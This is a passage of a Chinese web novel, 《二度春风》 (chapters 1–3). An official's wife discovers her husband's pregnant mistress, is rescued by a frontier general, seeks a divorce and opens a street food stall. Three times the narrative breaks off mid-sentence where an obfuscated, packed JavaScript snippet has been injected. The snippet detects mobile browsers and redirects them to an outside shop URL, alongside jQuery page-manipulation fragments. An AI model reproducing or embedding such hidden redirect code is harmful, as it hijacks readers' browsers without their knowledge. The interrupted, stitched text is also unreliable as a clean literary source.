《二度春风》 1. 第 1 章 大暑刚过，赤日炎炎。 虞嫣待在厨房，对着灶台的明火烘烤，等料理好四菜一汤，衣裳早就湿透了，晶莹细汗顺着她鬓角滑到颊边。她捏起衣袖擦了擦，探头朝东屋看去，“郎君还未归吗？” “没呢，方才遣人来报，衙门事忙，在食堂将就过一顿了，让娘子不必奔忙给他送饭食。”小丫鬟笑嘻嘻地，一边捧过灶台上的清蒸鲈鱼，一边喃喃“好香好香”，迈开步子往堂屋端去。 虞嫣摘下了布围裙。 她夫君陆延仲是宣和二十一年的同进士出身，在工部主事的位置上苦熬了好几年，近来擢升工部员外郎，参与城防工事的翻新修筑，忙得愈发脚不沾地，人都跟着清减不少。 本是清俊出尘的模样，再瘦两分，仿佛就要餐风饮露，隐世修道去了。 她想得有些嗔怪，翻出个带提柄的圆食盒，将熬得起沙后放凉的芦根绿豆汤，灌入竹罐，再取出碎冰铺在盒底，将竹罐塞入。想了想，顺手包了几块昨日做的槐花糕。 小丫鬟快手快脚，等到把菜肴饭食都端完了，厨房已找不到虞嫣身影。 左右环顾，见虞嫣衣装齐整地从东屋出来。 烟熏火燎的细布裙换下，去年裁的软罗襦裙仍旧合身，衬得她一段纤腰如柳。虞嫣还重新擦面梳发，耳垂上一双红玉金丝耳铛，挂在芙蓉面颊旁，细细晃出一弯艳光。 她耳垂下有一块拇指大小的胎记，每逢外出见人，总会戴一双耳铛遮挡。 “娘子，还是要去衙门呐？” 虞嫣“嗯”一声，转转手腕，食盒内碎冰脆脆碰响，“你同母亲说一声，我送完了很快归家。” 陆延仲是个读书人，有些虞嫣不能理解的小毛病。 愈是肥甘厚腻的口腹滋味，愈是视为流俗，每每讽刺衙门食堂粗豪，只懂用猪油烈火猛烹，而像荷花兜子、素菜冷淘这样清鲜细致的食物，才得他喜爱，包括这一口冰镇的芦根绿豆汤。 只是夏日冰价贵，家里已不剩多少。 等得他深夜归家，冷食已不合宜，若再熬到翌日散衙，碎冰也存不住了。 虞嫣提着略沉的食盒，心头很轻盈。 散衙后的工部衙门，她来过许许多多次，同侧门的几个守卫早已眼熟，打一声招呼，再把食盒捎带的果子酥点分润二三，就能顺顺当当地进去。 今日守卫恰是最好说话的那位，见了她就笑。 “夫人又来给陆大人送吃食咯。” “天儿热，送口甜汤，这些槐花糕做多了，小哥尝尝。” 花糕纸包夹在食盒里，沾染了丝丝凉气，拿到手里很舒服。守卫接过发出一声叹，正要侧身让步，忽而顿住，像是想起了什么，脸上的笑意凝结，一时显出了几分尴尬。 虞嫣不解：“怎么了？” 守卫看了她一眼，视线落到食盒上，“忘了，陆大人他……正在前头见客，我替夫人送进去。”他从虞嫣手里接过食盒，看她还立在侧门，被坠落斜阳晒得眯起了眼。 他有些不忍：“夫人到阴凉处等候，要是陆大人得空，再请夫人进去。” “劳烦小哥了。” 她走近几步，贴到墙根下，躲在一格阴影里，暑热逼得她口干舌燥愈重，而守卫还未见归。 早知出来时，就多饮两口茶。 虞嫣脚底有些酸，在裙裾下轻轻地转，余光里一道青袍身影跨入侧门，又顿住，“虞夫人。” 虞嫣抬眸，却是陆延仲之前的平级同僚方鸿熙，“方主事。” 方鸿熙同她夫君共同角逐一个员外郎的空缺，最终是陆延仲升上去了。 据闻升迁无望，已寻了别的路子，不日就要调离工部了。 “虞夫人在这里等？不进去吗？” 虞嫣刚要说话，方鸿熙继续道：“陆大人今日要统筹城墙备料花费，已同户部清算完了，不多久就能回值房。虞夫人直接进去罢。” 想来守卫说的见客，就是此事了。 虞嫣犹豫一会儿，跟方鸿熙道了声谢，跟着他入了工部。方鸿熙在游廊与她分别，深看了她一眼，“值房在哪里，想必虞夫人很清楚，我就不领路了。” 散衙时分，工部冷冷清清。 虞嫣在安静中，回味方鸿熙看她的眼神，一步步走向印象中的房舍。 手在抚上隔扇门时，停滞了一瞬，才推开去。 值房空无一人，还未点灯。 虞嫣说不上缘由，松了一口气，坐到雕花隔断后的月牙凳上，整个值房最阴凉隐蔽的一角。 霞光升起，门扉被推开。 廊下灯笼在漫天余霞中，拢作小小一团，照不清来人面容，却把颀长轮廓勾勒得清晰。 高挑身量，瘦削肩线，新净官袍穿在身上忙碌一日，衣摆一角仍然有挺括的形状，是她昨夜睡前，用装满了沸水的铜壶壶底给他细细熨烫过，压出来的。 虞嫣觉得欢喜，启唇刚要唤他，却觉得陆延仲的脚步略急。 他大步踏进来，另一道窈窕的人影从他背后出现，被踉跄地拽入，连连娇声抱怨，“啊呀，你急什么？弄疼我啦。” 隔扇门阖上。 女郎挣脱了两下没挣动，被陆延仲拉入了怀中。 虞嫣屏住了呼吸，看着她的夫君，朝那道玲珑倩影倾身而去。 衣料摩挲，玉佩与璎珞碰撞叮咛。 昏暗中纠缠的一双轮廓影影绰绰，她甚至能听见……陆延仲的呼吸渐乱。 陆延仲直到女郎不再挣扎，语声喑哑道： “不看看是在什么地方？胆儿真大，衙门前头就敢拉拉扯扯。” “在值房里，就不怕了？” 女郎勾着他颈脖，慢慢踮起脚，鼻尖同他的摩挲：“陆大人是不是就喜欢这样？” 陆延仲再倾下，女郎偏头，只给他亲到脸颊。 “你何时迎我进门？” “……” “后悔了？” “再给我一些时间。” “多久？” “两个月，最好……等修筑城防的事宜忙完。” “我能等得，我肚子里的孩儿等不得。” 女郎推开他，摩挲着还平坦的小腹，往虞嫣所在的雕花隔断走来，婷婷袅袅，如在自家闺房。那脚步轻缓，又如惊雷，炸响在虞嫣耳旁。 虞嫣在角落坐成了一尊石塑，有些茫茫然。 陆延仲恰好在此时，拉住了女郎。 “我与她少年夫妻，一路磕磕绊绊走来，终归有情分……” “那我与她，孰重孰轻？” 陆延仲还是沉默，竟像是陷入了为难的思考。 “行啊，抱着你的夫妻情分过一辈子。” 女郎这下是真的甩开了他的手，拂袖离去。 “玉娘……” 陆延仲没等到女郎的回应，抬脚追了出去。 虞嫣很少看戏。 陆家算不得很富裕，每笔银钱都要花 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16618985|187784||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得有用途，要值当，才不会让婆母心疼。 她只在官夫人们的宴会上看过，那种你方唱罢我登场的密锣紧鼓，结束得戛然而止，叫人久久无法抽离。她如今就觉得，自己好似坐在戏台下。 走出值房时，虞嫣特地换了一条道。 某个地坪角落，她从家中带来的食盒孤零零地放在那里，不知是守门小哥半道上被叫去做什么差事，暂搁置于此。她打开食盒，把冰凉的竹筒取走了。 官署街区近来出了新规，入夜后摆卖的商贩只能退到朝天门外。 几个官差提灯敲锣在驱赶，专门做六部门前生意的贩夫走卒好一片奔忙混乱。 虞嫣的心神不在脚下，还留在那一所小小的幽闭值房。 她像一片飘入湍急小溪的枯叶，随水流漩涡，一下推向左，一下卷向右，不觉已到车马最忙碌的朝天门外交界。蓦地，拐角冒出来一架大马车。 “唉哟！我的娘哩！”车夫惊呼，猛地拐开。 虞嫣回神，正要退让，察觉身后一阵更浩大飒踏的马蹄声，在全速疾驰。 她避无可避，被夹在中间，眼看就要被车舆边角撞到，胁下忽而一紧，人已双足离了地。 人群里不知是哪个，先“哈”一声笑起来。 惹得一群汉子跟着哄笑，“好兆头啊！一回城就捞着个漂亮娘子。” 捞起虞嫣的男人语调沉沉，却无几多笑意，吐出二字：“先走。” “得咧！” 层层马蹄声远去，剩下一重响在虞嫣耳畔。 她适应了陌生的颠簸，反应过来自己被掠到马背上。 她脸颊贴在一片坚硬胸膛上，后脑勺被男人的手掌死死桎梏，抬不起头看对方面容，只看到街边飞掠的灯笼。时已入夜，对方的气息干爽灼热，像黄沙烈日，把她扯出了幽暗值房。 我在想什么呢？ 我怎么能因为陆延仲，差点把性命置于险境。 她颊边的胸膛震鸣，男人的声线低磁醇厚，像一壶藏了数十年的好酒，“哭什么？” 哭了吗？ 虞嫣眨眼，热泪霎时涌出来，淹没在上下眼睑中，很快将男人衣袍沾得更湿润了。 “吓着了，”她勉强忍住了泪意，“多谢郎君出手相救，请放我下来吧。” 男人控马，跑出一段路，颠簸渐渐平稳。 有光亮袭近，虞嫣朦胧去看，看到街头的某处牌坊下，高阔石壁上挂着一盏风灯。 男人按住她后脑勺的手掌一松，察觉她想抬头，又覆上来。 那手很宽大，掌着她时，拇指还有盈余，说不准是恰好还是故意，就摁在她耳垂下有一小块胎记的地方，指头的茧摩挲了她一下。 虞嫣一个激灵，既窘迫又难受，手里还握着冰凉凉的竹筒： “这是一点报答，请快些放我下马。” 男人另一手接过，随手卡在马辔头上，“站稳了。” 他宽大双掌揽过她腋下，将她控着一滑，“丢”了下马。 虞嫣的脚底触上石砖，像小时候跳下矮墙，微微一晃就踩实了。 她登时扭头，去看身前人。 皮光油润的玄马，银鞍雪亮，原地一旋，她视线里只看到男人的宽阔后肩。 那身黑色戎服无半点绣纹，仿佛能把壁灯的光都吸进去。 “走路别分神。” 马蹄声掠远，男人调头往官署方向的大道驰骋，很快消失在灯火阑珊处。 2. 第 2 章 魏长青一行人停在南衙主道的入口等。 “老大怎么磨叽这么久？” “别是真的看对眼，把人送回家了吧？” “去去，那娘子都嫁人了。” 先前起哄不过一时玩笑，谁都没当真。 魏长青一点破，其余几人都朝他看来，“你又知道？” “一群大老粗，啥也不懂。”魏长青好笑，一指头顶，“看发髻样式，都城讲究多了去了。”他正要掰开了细细说，腿上被同伴不重不轻踢了一脚，“老大回来了。” 玄马踏破夜色，一道英武身姿闯入眼前。 “走。” 徐行的嗓音沉厚，一个字下去，懒洋洋没个正形的一群汉子像是被拧紧了，跃身上马。 魏长青自投军以来，就跟徐行分到同一个小队，睡同一个营帐，看着他从小兵一步步爬上到如今位置，已然知晓如何从那张万年绷着的冷脸上，分辨他的心情。 徐行眉眼稀松平常，心情却不赖。 他的左手攥着个碧幽幽的长筒物什，放松地搭在大腿。 什么玩意？ 魏长青有心想问一句，马儿跑得快，转眼兵部衙门就到了。 一行人都是西北戍边的武官，有军籍，按着规矩，入京先到兵部报道。 徐行等人交付军籍令牌，验明正身，正要离去休整，却有大内监带着小徒弟等候在兵部厅堂外，笑吟吟道：“陛下想见徐将军，请随奴婢来。” 小黄门面嫩，还学不会八面玲珑那一套。 他先见徐行，吃了一惊，双目瞪圆又觉得失礼，赶紧低头。 徐行恍若未觉，只留了魏长青，让旁的弟兄散去。 几人步履轻捷，走过一条条宽阔宫道，飞檐重重，气势巍峨的宫殿已近在眼前。 大内监笑，“入殿需卸兵甲，若徐将军身上无旁的赘物，就请吧。” 徐行摘了佩刀，左手的竹筒往魏长青怀里丢，“拿好了。” 魏长青接住，把竹筒颠来倒去地看，晃一晃还有哗哗水声。 徐行剜他一眼。 魏长青不敢再晃了，把东西拿正，看徐行跟大内监踏上汉白玉阶，他脸色总挂着的潦草笑意便收了，手指虚虚一点身旁留下的小黄门。 “等下将军出来，你再露出这大惊小怪的怂样，眼珠子给你抠出来。” 西北军在冷兵热血的战场里淬炼出的杀气，比大声恫吓更骇人。 小黄门鹌鹑一样，缩着脑袋点头。 太极殿内，灯轮照得烛火煌煌，龙椅上坐着不止一人。 徐行阔步上前，“臣徐行，见过陛下。” “起吧。” 皇帝的嗓音很温和。 徐行抬头，同身穿明黄龙袍的人对视。 皇帝明明才四十多岁，却苍老枯瘦，仿佛踏入暮年。他坐在宽大金亮的龙椅里，臂弯拢起，怀里卧了一个五六岁的孩童，孩童熟睡，脸颊微红，毛茸茸的额角有几缕碎发濡湿。 皇帝端详徐行许久，“倒是和定北侯在信里说的一模一样。” “敢问陛下，信中如何说？” “说你狗脾气，没规没矩，”皇帝感到奇异，注视这个第一次会面就敢于直视他的青年将领，语气里带了惋惜，“还说你面目可怖，不知遮掩。” 徐行的左边脸，从眉骨到面颊，有一块巴掌大的狰狞疤痕。 饶是如此，还能看出右边脸是俊眉深目，英武轩昂的模样。据说是当小兵时，边城民宅被鞑子投入火球，烧成一排接一排房舍的火海，他闯入火海接连救下十多人留下的。 “宫中有擅长治伤祛疤的太医，你得空了去看。” 徐行目光落到熟睡孩童上，这是去年才册立的太子殿下。 “臣的面容，会吓到小殿下吗？” “他是未来的君王，他不能惧怕任何东西。” “那便不必浪费了。” 皇帝笑了，静了片刻后，止不住咳了几声，很轻，竭力地压抑着，再看徐行时，眼神透露一种掩藏过后的疲惫，“知道朕召你回来做什么的吗？” “龙卫军。” “知道就好。” 小太子被两人说话声搅扰，皱眉，蹬了蹬腿。 皇帝垂眸而视，此刻神情在徐行看来，不像君王，就像天底下任何一位普普通通的父亲。 沉疴难愈的帝王，年幼懵懂的太子。 疆土边域需要戍卫，禁军上四军的兵权更要慎之又慎。原来掌控龙卫军的都虞候在奉命赶赴边关支援时，因为稽违诏旨，被皇帝罢去了军职。 徐行是受他义父定北侯举荐来填坑的。 徐行走出太极殿时，明月悬空，云淡星疏。 魏长青将要快被捂热了的竹筒交还他手上，两人跟着分外安静的小黄门，往宫城外走。 徐行拧开竹筒盖子，鼻尖轻嗅，闻到了一股甜香，混杂在竹子清冽的味道里。 他抿了一口，是绿豆甜汤。 魏长青等他出来的那会儿，琢磨出是路上那娘子给的，“老大，你不怕是投毒？”还在西北的时候，鞑子派来刺杀定北侯与徐行的细作，边城隔三差五就能抓到好几个。 徐行仰头看圆满的月色，唇边还有甜味，“不会。” * 满月华光，冷冷清清。 照在灰白路面，衬得虞嫣的香色绣鞋尖更淡。 她推开陆家宅邸的门，绕过梧桐树到院中，陆母正在小小的花园里晒月亮，瞧见她晚归了，有些怨怪：“怎去了那么久，饭菜都叫人给你热过两遍了。” “在衙门等了一会儿。” 虞嫣没看见嬷嬷陪在她身边，要去扶一扶。 陆母走路爱拖步子，花园地砖有一段不平，险些被绊倒不是一次两次。 陆母在她走近前，就自己迈过那一小段，摆摆手：“行了，你去吃饭别管我，药记得喝。” 虞嫣慢了片刻才说，“好”。 药是给她滋补身子，有益子嗣的。 再过两个月，她同陆延仲成婚就满五年了，却一直不曾有孩儿。 求神拜佛去过，酸苦厚涩的药不知吃了几多。 虞嫣揭开罩笠，就着半温饭菜，细嚼慢咽吃完，收拾空碗碟去井水刷洗时，提走了小锅里的药煲。她提起手柄，药汁尽数倾倒，淅沥沥的一注黑水，打在院墙下的丰茂草丛里。 “娘子……这是在做什么呀？” 小丫鬟提着灯笼，吃惊地站在她身后几步，看着眼前的这一幕。 虞嫣只问她：“是不是晴娘饿了？” 小丫鬟是陆延仲妹妹的贴身丫鬟，白日帮着陆家做旁的杂事，夜里伺候晴娘。 “晴娘子想吃金丝面。” “你叫她过来，我教她做。” 小丫鬟一愣，往日晴娘子夜里饿了馋了，只消来大娘子这里撒撒娇，就能等着吃了，今夜是为何？她对上虞嫣过分安静的眼神，没有多问，转身小跑回晴娘子的屋里头。 虞嫣等在厨房。 不多久，望见个眼眸乌亮，脸蛋圆团团的小姑娘披着粉褂子，头发散着过来了。 晴娘明年就及笄了，身子还是像小时候那样肉乎乎，腰身丰润，陆母怕她生得太胖，不准她多吃晚饭，不过虞嫣总给她开小灶。她总觉得，小姑娘再过些年岁，长高一些就匀称了。 “嫂嫂。” “晴娘来。” 虞嫣朝她招招手。 晴娘刚沐浴完，双颊粉扑扑的，闻言乖乖地站到她身旁，散发一阵香胰子的味道。 虞嫣重新点了灶子，揽了揽她，“别凑那么近，就在旁边看。” “食材就这么一些，洗净切好，堆在一起。” “先烧水，把面烫熟了，捞出来过凉水。” “等它晾凉的时候，起锅炒浇料。” …… 与其说是教，不如说是演示。 虞嫣喜欢在厨房做菜，做菜的时候，杂念消散，心会变得安静。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16618986|187784||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人安静了，就会知道自己的心想要什么，不想要什么。 肉丝混合小料爆炒，酱汁浓香在锅中迸绽，再勺起来，倾倒在沥水凉面上。 竹筷子搅匀，粗陶碗里的每根面条都浸了油亮金黄的料汁，令人食指大动。 晴娘就着厨房里的小桌坐下，挑起一根面条吸溜，虞嫣就坐在她对面。 “嫂嫂为何突然要教我？” “晴娘以后嫁人了，想吃这一口，不就能自己做了？” 晴娘摇头，卖乖地冲她笑，“我想吃了，会跑回娘家来，请嫂嫂给我做。” 虞嫣没接话，把她落到颊边的碎发勾回耳后。 一碗面吃完了，晴娘把碗筷堆在水盆里，从厨房出来，差点和来人撞了满怀。 定睛一看，是下衙回来，还穿着官袍的兄长。 “你阿嫂呢？” 陆延仲往她身后看，他见厨房有灯，以为是虞嫣在里头。 “嫂嫂说有些累，先回房休息了。” 陆延仲转身就走，衣袖给晴娘扯住了。 小姑娘乌润润的眼睛剔透，正是最敏感的年纪，“阿兄，我觉得……嫂嫂有些难过。” 陆延仲蹙眉：“何意？” “我不知道，阿兄近来是不是衙门太忙，忽略了嫂嫂。” “小姑娘家家，别忧心大人的事。” 陆延仲将她支走。 东屋门前，他透着隔扇门上半扇的雕花，看到虞嫣的身影走动。 从这里走几步到那里，折回来，偶尔停顿，是她往常收拾屋里杂物的模样。妻子就这个性子，闲不得，连架子上书册，她都要从高到低，给它理顺了次序来摆放。 陆延仲觉得略微心安，却无法解释那只空食盒。 虞嫣细心体贴，不会做出这么糊涂的事。等他发现食盒里除了快融的冰，什么也没有，去找守卫后，工部侧门已没有了虞嫣的身影。他怀疑虞嫣进来过，一种隐隐的预感。 陆延仲看了好一会儿，推门进去。 明间灯火温馨，洁净齐整，没有分毫异样。 他走进里间，床上铺了浅绿色的细竹席，上头软罗轻缎，搭了好几条虞嫣很喜欢穿的裙裳。虞嫣背对着他，将裙裳一条条折好，收入一个包袱皮子里。 陆延仲喉头微紧：“收拾这些衣衫做什么？” 虞嫣回头。 女郎眉目盈盈，嫁给他好几年了，容色鲜妍动人未改。 她的神情把一切都写在了脸上，她进了衙门，不止进了，还看到了。 陆延仲上前扣住她的手腕。 “都这个时辰，难道要回虞家？”虞嫣的生母早些年病逝，虞父将生了儿子的妾室王氏扶正当继室，虞嫣虽然没反对，但每次回娘家，心里头都不舒服。她如何还能回虞家长住？ “延仲想这个问题，想得太晚了。” 虞嫣语气轻轻的，伤心大于怨怼，“既早知虞家非我家，便不要背弃诺言，既要背弃诺言，便要有本事瞒得密不透风，天衣无缝。为何你哪一样都没做到？” 她少时在冰雪梅林受冻，大夫断言她日后或许子嗣艰难。 成婚前，她同陆延仲坦白过，陆延仲当时说，“若四十岁还无后再考虑纳妾。” 她当时还暗自庆幸，自己嫁了一个顶顶好的夫君。 虞嫣挣脱了陆延仲的手，给包袱皮子打个结，再开口，已然换了称呼：“今夜太晚，我睡在西屋，明日一早就离开。请陆大人得空了，给我写个和离书吧。” 她总归是难过的。 眼睑半垂，没忍住的一滴泪落下，砸到了陆延仲的皂靴上。 陆延仲看着那水痕消失。 自鬼迷心窍同玉娘厮混在一起后，他常在无人处诟病自己，风流薄幸、出尔反尔、得一想二……似乎从没找到一个足够诛心的词，让他那份愧疚变成后悔。 如今看着虞嫣，他想到了。 是辜负。 他怎么就辜负了阿嫣呢？ 3. 第 3 章 他怎么就辜负了阿嫣呢？ 是从哪一天开始？ 是新婚时的浓情蜜意变为琐碎的一日三餐。 是他发现虞嫣不能理解官场的那些尔虞我诈，而他亦不耐烦听操持家宅的细枝末节。 更是那日他春风得意地回家，告知将要擢升，想拥抱虞嫣时，却嗅到厨房腻人的油烟气。 母亲说过，“夫妻至亲，成婚日久就变成了亲人。你和阿嫣要个孩子就好了，别想那么多。” 陆延仲深以为然，要个孩子就好了，让孩子来填补他与虞嫣之间的缺口。可是他与虞嫣，始终等不到那个期盼的孩儿，叛道离经，明媚张扬的玉娘先出现了。 里间太沉默，灯芯爆开的动静显得很响，唤回了陆延仲的思绪。 “你想清楚？当真要为了此事，与我和离？” “我回来的一路都在想，想清楚了。” 陆延仲颔首，“我去西屋睡，你留在这里，你我都先静一下。” 他忙碌一日，觉得疲惫，无暇应付虞嫣的委屈，但还是没忍住回头，“你当时若听到了，应知道，在我心里，始终是你份量更重一些。” 虞嫣攥着那个包袱没看他。 西屋的床铺，不如东屋舒适，是留给平日里亲朋好友上门留宿用的。 陆延仲一夜乱梦，清晨起来，披衣点灯，动笔写了一份和离书，再誊抄两份。 夏日晨曦早发，朦胧薄金从枝遒叶繁的梧桐树冠下漏出条条缕缕。 陆延仲推开屋门，虞嫣已等在树下，肩上就挎着那个包袱皮子。她朝他看来，眸中的询问之意很明显，一双水盈盈的杏眼，浮着几缕红血丝，显然同样一夜不得安眠。 他在树下石桌铺开笔墨，“还缺你的签字。” 豪笔递过去时，他攥紧了没松：“阿嫣。” 虞嫣安静地抬眸，等他的下文。 “玉娘进门了，只会是妾，孩儿会养在你膝下。” “陆家还是由你操持，母亲和晴娘都会站在你这边，什么都不会变。” “六级以上官员和离并非你想的那样简单，需向户部报备，批复了才算有效，你回到虞家住一段时日，好好想清楚。我忙完了这阵去拜访，除非岳父同意和离，我才把和离书呈递户部。” 他与阿嫣，不是非要走到和离这一步。 她只是在怪他背弃诺言，现下正是心气郁结，情绪最强烈之时，这封和离书不给，会催生她对这段夫妻情分的更大怨恨。陆延仲相信，事缓则圆。 “我与陆大人和离，是我们二人的事。” “你我夫妻，是两家人缔结的姻亲，你我和离，亦是干系到两家人的大事。” 虞嫣摇头，接过笔，一连签了好几张，把最先墨干的那份折起来收好。 陆延仲就坐在院中，看她离开，仿佛只是上街一趟买点东西。 今日不用上衙。 家中母亲和阿妹先后起身，伺候的嬷嬷和小丫鬟来井边打水。 每个人，都不约而同地惊讶于他披衣散发在此，又把目光投向了门扉敞开的东屋。 她们找不到虞嫣，只好来找陆延仲。 “郎君，大娘子去哪里了？老夫人想吃醋芹和羊脂韭饼，想问大娘子能不能做。” “郎君，晴娘子的屋顶有些漏雨，今日天晴该找匠人来修补了，顺道再修修小花园的砖。” “郎君……” 陆延仲眉眼含霜，面无表情地看过去，问话的人意识到什么，讪讪闭了嘴。 只有他妹妹晴娘在梳洗过后，惴惴不安地走近：“阿兄，嫂嫂她还好吗？” 陆延仲收起和离书，看向了虞嫣不久前跨过的那道宅门。 “她会回来的，很快。” * 人在茫茫然时，会率先走向自己熟悉的地方。 等虞嫣回过神来，她站在了铜鼓街。这里一条街都卖早点，有时候她偷懒了不下厨房，就会带着小丫鬟来这里买一家人的吃食。铜鼓街一路走，一路热气扑面，香味繁杂。 虞嫣瞧见了一家新开业的特色馄饨铺。 店里空落落，店家带着刚开业特有的旺盛热情，“娘子，热腾腾的香茶馄饨，来一碗？” “好啊，要一碗。” 虞嫣走进了店里，才落座片刻，铺子里就接二连三来了新的客人。 店家乐得给她添了好几只馄饨。 碧青葱丝飘在茶色的澄清汤面，馄饨皮薄，边缘煮到透明，虞嫣近乎虔诚地先勺起一口汤饮下，惊喜地睁圆了眼眸。 汤汁咸鲜而清淡，与茶味融混得恰到好处，还有细微清新的酸。 她翻了翻，果不其然，在汤碗底找到一颗泡得软烂的梅子。 她喜欢这样肯花心思在细微处，别具一格的店铺。 若没有嫁给陆延仲，成为官夫人，她大抵就会开一家这样的小食肆，按着四季轮换，卖一些她喜欢的吃食。婚后很多次，她曾提议，家里全仰仗陆延仲一人俸禄，不若她赁个铺子卖点心。 陆延仲当时想都没想就拒绝了——“你当街摆卖，若是被同僚们看见，我如何自处？” 虞嫣的脑袋里好像小和尚敲木鱼，被轻轻敲了一下，她掏出钱袋子来付账。 店家惊讶：“娘子给多了，不用这么多的。” 虞嫣没拿回来，摆摆手笑了，“很是值当的。” 三日之后，一架小巧陈旧的摊车从蓬莱巷推出，停在了皇城外围的官署街区。 过往，是来给陆延仲送饭食。 今日，是来挣自己的那一份。 虞嫣掀开了摊车的蒸笼盖子。 白纱布上一溜儿剪得圆乎乎的碧叶，摆着皮薄馅足的兜子，每一只都胖乎乎，封口折出精巧梅花纹，里头是将嫩笋、蕨菜等山野菜蔬和鱼虾河鲜切丁的馅料，只用少许香油和盐调和。 这一屉掀开，拼不过韭菜锅贴、羊血羹、芝麻胡饼等浓厚滋味，飘香满街。 但胜在精细漂亮，看起来不像粗陋的街边早点，倒像是点心铺子里卖的。 很快有把官署街区都吃腻了的老胥吏发现了新摊位，背着手来探问。 “娘子卖的这是什么啊？” “卖山海兜子，赠紫苏熟水。” “多少钱一份？” “二十文一份三只。” 老吏犹豫，二十文是满街早点的均等价格，“这么细巧的点心，小老儿嗷一口就能吞掉。” 虞嫣被他逗笑，“刚来还未开张呢，客官做第一人吗？给十文钱就行。” “如此甚好。” 老吏付了钱，就着油纸封，当场咬了一口。野菜清香和鱼虾鲜甜，绵绵地充盈舌尖，熨帖饥肠，“唔……好吃！好吃！”老吏眉开眼笑，又摸出二十文，“再要一份，我捎给同僚。” 就像新开业的馄饨铺子那样，做买卖就讲究第一回的顺顺利利。 渐渐地，虞嫣的摊位前围拢了好些人。 她有条不紊地一一招呼，一屉卖完了，整理好空屉，一回身，对上了两张眼熟的面孔。 两人身着圆领大袖的青色公服，是陆延仲的工部同僚。 其中一人正是那日领她进去衙门的方鸿熙。 虞嫣白莹莹的一张脸，脂粉未施，发髻上裹着坊间妇人扎的细布头巾，颊边散下了几缕碎发，连耳饰都无。方鸿熙还是认出来她了，一时神色复杂。 虞嫣只当是普通食客，笑着招待，给两人打包好了，附赠上两瓶紫苏熟水。 “不走吗？”同僚对脚步迟疑的方鸿熙感到困惑。 “有事，你先帮我捎回去。”方鸿熙将手中早点递过去，待同僚走远了，才折回来。 “虞夫人为何会在此摆卖？” “我已同陆延仲和离了，方主事日后在工部衙门以外的任何地方看见我，都不稀奇。” 方鸿熙错愕，再看她就有了愧疚，“我只是……一时意气，想给他找些不痛快。” 虞嫣摇头，从推车后走出来，朝方鸿熙轻轻一礼。 “无论初衷如何，方主事提点我，是恩不是仇。若当真觉得愧疚，就请替我催促陆大人，请他早日拿和离书去户部过档入册，切勿拖泥带水。” 方鸿熙回味过来，陆延仲风流归风流，并不想抛弃糟糠妻。 “和离一事，方某也以为，虞夫人该当三思。” “是虞家娘子。” 虞嫣纠正他。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16618987|187784||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 方鸿熙摇摇头，露出不赞同的神色，没再说话就走了。 朝天门内，熙熙攘攘，有的尽是食客。 各司官员与胥吏杂役、赴京办事的差旅、到各衙司处理事务的本地民众。虞嫣每日变着法子卖新鲜的点心和清凉饮子。 第一日是肉丝糕，配陈橘皮汤。 第二日是剪花馒头，配五味渴水。 第三日糖酥裹食，配麦门冬熟水。 第四日…… 随着她的生意越来越好，认出她是陆延仲之妻的工部官员杂役越来越多。 直到第五日，淅沥沥的夏雨自晨起不断。 御街上人潮减半，摊贩更少，虞嫣的摊位前出现了一柄墨色的油纸伞。 执伞的手修长白皙，略略用力，伞缘上抬，露出了陆延仲一张面无表情的脸。 “你跟我回去。” “陆大人把和离书呈递户部了吗？” “还没有。” “那陆大人何时呈递，我何时离开。” 陆延仲收了伞，绕过推车，一把拉过了她的手腕，“此处说话不便，你跟我走。” “大人要带我去哪里？！” 虞嫣提高声量，手肘撞翻了一只空缸，哗啦碎在地面，将周围商贩都惹得投来目光。 看虞嫣眼熟的同行没忍住小声念叨，“哎哟，这是在做什么？” “大街上呢，官差和衙门就在前头，还能强抢民女不成？” “乱说什么？没瞧见人家穿着一身官袍吗……” …… 陆延仲薄玉似的俊白面容染上一层微红，攥着她的手腕松开。 “我说过，岳父同意和离，我才会去户部呈递和离书，你不要任性。” 虞嫣定定地看他。 她同父异母的弟弟被樊山书院收录，荐信是陆延仲写的，亲传老师就是原先指导陆延仲进士及第的老师。她爹无论如何，不会同意和离。陆延仲就是想让她爹和继室王夫人来劝服她。 “大人知道卖早点的人何时起吗？” 陆延仲蹙眉，不知道她忽而提这茬做什么。 “官署卯时点卯，辰时办公，商贩在寅时便要清洗食材、烹饪熬煮、装车出发。我起得这么早，走得那么累，就是为了那封和离书能够早一点去到户部。” 陆延仲这样清高的人，无法接受一个抛头露脸做买卖的妻子。 淅沥沥的雨势减缓，来买早点的人多了，朝他与虞嫣投来的目光也多了。 陆延仲走到她面前，压低了嗓音： “你在这里摆卖，丢的是你我两家的脸面。” “民妇一双手谋生，挣辛辛苦苦的铜板，不觉有亏心之处。” 